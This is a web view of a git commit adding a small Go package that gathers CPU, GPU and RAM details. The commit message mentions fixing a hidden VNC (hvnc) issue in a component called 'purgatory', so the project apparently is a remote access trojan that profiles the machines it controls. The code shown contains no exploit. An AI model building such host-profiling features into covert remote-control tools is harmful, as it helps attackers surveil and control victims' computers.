fix remote desktop and hvnc issue and add cpu, gpu and ram info to purgatory
This commit is contained in:
@@ -0,0 +1,11 @@
|
||||
package sysinfo
|
||||
|
||||
type Info struct {
|
||||
CPU string `json:"cpu,omitempty"`
|
||||
GPU string `json:"gpu,omitempty"`
|
||||
RAM string `json:"ram,omitempty"`
|
||||
}
|
||||
|
||||
func Collect() Info {
|
||||
return collectPlatform()
|
||||
}
|
||||
Reference in New Issue
Block a user